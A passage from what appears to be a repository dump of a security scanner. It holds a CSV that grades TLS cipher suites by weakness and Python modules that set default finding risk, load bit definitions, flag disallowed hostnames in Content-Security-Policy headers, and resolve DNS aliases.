function\nSRP-DSS-AES-256-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=SRP,Critical,\"Unsafe key exchange algorithm, using SRP\",Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nECDHE-ECDSA-AES256-SHA,TLSv1,TLS 1.1 ciphers are missing in this overview, these are identical to TLSv1. ,Medium,TLSv1.0 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-RSA-AES256-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nECDHE-RSA-AES256-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nAES256-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nRSA-PSK-AES256-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nSRP-RSA-AES-256-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=SRP,Critical,\"Unsafe key exchange algorithm, using SRP\",Au=RSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nADH-CAMELLIA128-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-DSS-CAMELLIA128-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-RSA-CAMELLIA128-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nCAMELLIA128-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nADH-CAMELLIA256-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-DSS-CAMELLIA256-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-RSA-CAMELLIA256-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nCAMELLIA256-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nAECDH-NULL-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-PSK-NULL-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nECDHE-PSK-NULL-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nPSK-NULL-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nECDHE-ECDSA-NULL-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nECDHE-RSA-NULL-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nNULL-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nRSA-PSK-NULL-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nADH-SEED-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=SEED(128),Critical,Using SEED as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-DSS-SEED-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=SEED(128),Critical,Using SEED as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-RSA-SEED-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=SEED(128),Critical,Using SEED as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nSEED-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=SEED(128),Critical,Using SEED as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nADH-AES128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-PSK-AES128-CBC-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nECDHE-PSK-AES128-CBC-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nPSK-AES128-CBC-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-DSS-AES128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nECDHE-ECDSA-AES128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-RSA-AES128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nECDHE-RSA-AES128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nAES128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nRSA-PSK-AES128-CBC-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nADH-AES256-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-DSS-AES256-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-RSA-AES256-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nAES256-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA256,n/a,\nADH-CAMELLIA128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-PSK-CAMELLIA128-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nECDHE-PSK-CAMELLIA128-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nPSK-CAMELLIA128-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-DSS-CAMELLIA128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nECDHE-ECDSA-CAMELLIA128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-RSA-CAMELLIA128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nECDHE-RSA-CAMELLIA128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nCAMELLIA128-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nRSA-PSK-CAMELLIA128-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=Camellia(128),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nADH-CAMELLIA256-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-DSS-CAMELLIA256-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-RSA-CAMELLIA256-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nCAMELLIA256-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-PSK-NULL-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA256,n/a,\nECDHE-PSK-NULL-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA256,n/a,\nPSK-NULL-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA256,n/a,\nNULL-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA256,n/a,\nRSA-PSK-NULL-SHA256,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA256,n/a,\nDHE-PSK-AES256-CBC-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA384,n/a,\nECDHE-PSK-AES256-CBC-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA384,n/a,\nPSK-AES256-CBC-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA384,n/a,\nECDHE-ECDSA-AES256-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA384,n/a,\nECDHE-RSA-AES256-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA384,n/a,\nRSA-PSK-AES256-CBC-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA384,n/a,\nDHE-PSK-CAMELLIA256-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA384,n/a,\nECDHE-PSK-CAMELLIA256-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA384,n/a,\nPSK-CAMELLIA256-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA384,n/a,\nECDHE-ECDSA-CAMELLIA256-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA384,n/a,\nECDHE-RSA-CAMELLIA256-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA384,n/a,\nRSA-PSK-CAMELLIA256-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=Camellia(256),Medium,Using Camellia as bulk encryption algorithm,Mac=SHA384,n/a,\nDHE-PSK-NULL-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA384,n/a,\nECDHE-PSK-NULL-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA384,n/a,\nPSK-NULL-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA384,n/a,\nRSA-PSK-NULL-SHA384,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=SHA384,n/a,\nOther,SSLv2,,Critical,Outdated SSLv2 protocol detected,n/a,,,n/a,,,n/a,,,n/a,n/a,\nOther,SSLv1,,Critical,Outdated SSLv1 protocol detected,n/a,,,n/a,,,n/a,,,n/a,n/a,\nOther,n/a,,Unknown,Unknown or unspecified cipher,n/a,,,n/a,,,n/a,,,n/a,n/a,\n"
  },
  {
    "path": "octopoes/bits/default_findingtype_risk/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/default_findingtype_risk/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.findings import FindingType\n\nBIT = BitDefinition(\n    id=\"default-findingtype-risk\",\n    consumes=FindingType,\n    parameters=[],\n    module=\"bits.default_findingtype_risk.default_findingtype_risk\",\n    min_scan_level=0,\n)\n"
  },
  {
    "path": "octopoes/bits/default_findingtype_risk/default_findingtype_risk.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import FindingType, RiskLevelSeverity\n\n\ndef run(input_ooi: FindingType, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    value_set = False\n    if not input_ooi.risk_severity:\n        input_ooi.risk_severity = RiskLevelSeverity.PENDING\n        value_set = True\n    if not input_ooi.risk_score:\n        input_ooi.risk_score = 0\n        value_set = True\n    if value_set:\n        yield input_ooi\n"
  },
  {
    "path": "octopoes/bits/definitions.py",
    "content": "import importlib\nimport pkgutil\nfrom functools import cache\nfrom pathlib import Path\nfrom types import ModuleType\n\nimport structlog\nfrom pydantic import BaseModel\n\nfrom octopoes.models.types import BITOOIType\n\nBITS_DIR = Path(__file__).parent\nBIT_ATTR_NAME = \"BIT\"\nlogger = structlog.get_logger(__name__)\n\n\nclass BitParameterDefinition(BaseModel):\n    ooi_type: type[BITOOIType]\n    relation_path: str\n\n\nclass BitDefinition(BaseModel):\n    id: str\n    consumes: type[BITOOIType]\n    parameters: list[BitParameterDefinition]\n    module: str\n    min_scan_level: int = 1\n    default_enabled: bool = True\n    config_ooi_relation_path: str | None = None\n\n\n@cache\ndef get_bit_definitions() -> dict[str, BitDefinition]:\n    bit_definitions = {}\n\n    for package in pkgutil.walk_packages([str(BITS_DIR)]):\n        if package.name in [\"definitions\", \"runner\"]:\n            continue\n\n        try:\n            module: ModuleType = importlib.import_module(\".bit\", f\"{BITS_DIR.name}.{package.name}\")\n\n            if hasattr(module, BIT_ATTR_NAME):\n                bit_definition: BitDefinition = getattr(module, BIT_ATTR_NAME)\n                bit_definitions[bit_definition.id] = bit_definition\n\n            else:\n                logger.warning('module \"%s\" has no attribute %s', package.name, BIT_ATTR_NAME)\n\n        except ModuleNotFoundError:\n            logger.warning('package \"%s\" has no module %s', package.name, \"bit\")\n\n    return bit_definitions\n"
  },
  {
    "path": "octopoes/bits/disallowed_csp_hostnames/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/disallowed_csp_hostnames/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.web import HTTPHeaderHostname\n\nBIT = BitDefinition(\n    id=\"disallowed-csp-hostnames\",\n    consumes=HTTPHeaderHostname,\n    parameters=[],\n    module=\"bits.disallowed_csp_hostnames.disallowed_csp_hostnames\",\n    config_ooi_relation_path=\"HTTPHeaderHostname.hostname.network\",\n)\n"
  },
  {
    "path": "octopoes/bits/disallowed_csp_hostnames/disallowed_csp_hostnames.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom link_shorteners import link_shorteners_list\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import HTTPHeaderHostname\n\nLINK_SHORTENERS = link_shorteners_list()\n\n\ndef get_disallowed_hostnames_from_config(config, config_key, default):\n    disallowed_hostnames = config.get(config_key, None)\n    if disallowed_hostnames is None:\n        return default\n    return list(disallowed_hostnames.strip().split(\",\")) if disallowed_hostnames else []\n\n\ndef run(input_ooi: HTTPHeaderHostname, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    header_hostname = input_ooi\n    header = header_hostname.header\n\n    if header.tokenized.key.lower() != \"content-security-policy\":\n        return\n\n    disallow_url_shorteners = config.get(\"disallow_url_shorteners\", True) if config else True\n\n    hostname = header_hostname.hostname.tokenized.name\n    disallowed_domains = link_shorteners_list() if disallow_url_shorteners else []\n    disallowed_hostnames_from_config = get_disallowed_hostnames_from_config(config, \"disallowed_hostnames\", [])\n\n    disallowed_domains.extend(disallowed_hostnames_from_config)\n    hostnameparts = hostname.lower().split(\".\")\n\n    # For e.g. [\"www\", \"example\", \"com\"], check \"www.example.com\", \"example.com\" and \"com\"\n    for i in range(len(hostnameparts)):\n        if \".\".join(hostnameparts[i:]) in disallowed_domains:\n            ft = KATFindingType(id=\"KAT-DISALLOWED-DOMAIN-IN-CSP\")\n            f = Finding(ooi=input_ooi.reference, finding_type=ft.reference)\n            yield ft\n            yield f\n            break\n"
  },
  {
    "path": "octopoes/bits/dns_alias_resolving/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/dns_alias_resolving/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import DNSCNAMERecord\nfrom octopoes.models.ooi.dns.zone import Hostname, ResolvedHostname\n\nBIT = BitDefinition(\n    id=\"dns-alias-resolving\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=ResolvedHostname, relation_path=\"hostname\"),\n        BitParameterDefinition(ooi_type=DNSCNAMERecord, relation_path=\"target_hostname\"),\n    ],\n    module=\"bits.dns_alias_resolving.dns_alias_resolving\",\n    min_scan_level=0,\n)\n"
  },
  {
    "path": "octopoes/bits/dns_alias_resolving/dns_alias_resolving.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import DNSCNAMERecord\nfrom octopoes.models.ooi.dns.zone import Hostname, ResolvedHostname\nfrom octopoes.models.ooi.network import Network\n\n\ndef run(\n    hostname: Hostname, additional_oois: list[DNSCNAMERecord | ResolvedHostname], config: dict[str, Any]\n) -> Iterator[OOI]:\n    cname_records = [ooi for ooi in additional_oois if isinstance(ooi, DNSCNAMERecord)]\n    resolved_hostnames = [ooi for ooi in additional_oois if isinstance(ooi, ResolvedHostname)]\n\n    for cname_record in cname_records:\n        for resolved_hostname in resolved_hostnames:\n            yield ResolvedHostname(hostname=cname_record.hostname, address=resolved_hostname.address)\n            # Also the non-fqdn variant\n            yield ResolvedHostname(\n                hostname=Hostname(\n                    name=cname_record.hostname.tokenized.name,\n                    network=Network(name=cname_record.hostname.tokenized.network.name).reference,\n                ).reference,\n                address=resolved_hostname.address,\n            )\n"
  },
  {
    "path": "octopoes/bits/dns_resolving/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/dns_resolving/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import DNSAAAARecord, DNSARecord\nfrom octopoes.models.ooi.dns.zone import Hostname\n\nBIT = BitDefinition(\n    id=\"dns-resolving\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=DNSARecord, relation_path=\"hostname\"),\n        BitParameterDefinition(ooi_type=DNSAAAARecord, relation_path=\"hostname\"),\n    ],\n    module=\"bits.dns_resolving.dns_resolving\",\n    min_scan_level=0,\n)\n"
  },
  {
    "path": "octopoes/bits/dns_resolving/dns_resolving.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import DNSAAAARecord, DNSARecord\nfrom octopoes.models.ooi.dns.zone import Hostname, ResolvedHostname\n\n\ndef run(hostname: Hostname, additional_oois: list[DNSARecord | DNSAAAARecord], config: dict[str, Any]) -> Iterator[OOI]:\n    for record in additional_oois:\n        yield ResolvedHostname(hostname=hostname.reference, address=record.address)\n"
  },
  {
    "path": "octopoes/bits/domain_owner_verification/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/domain_owner_verification/bit.py",
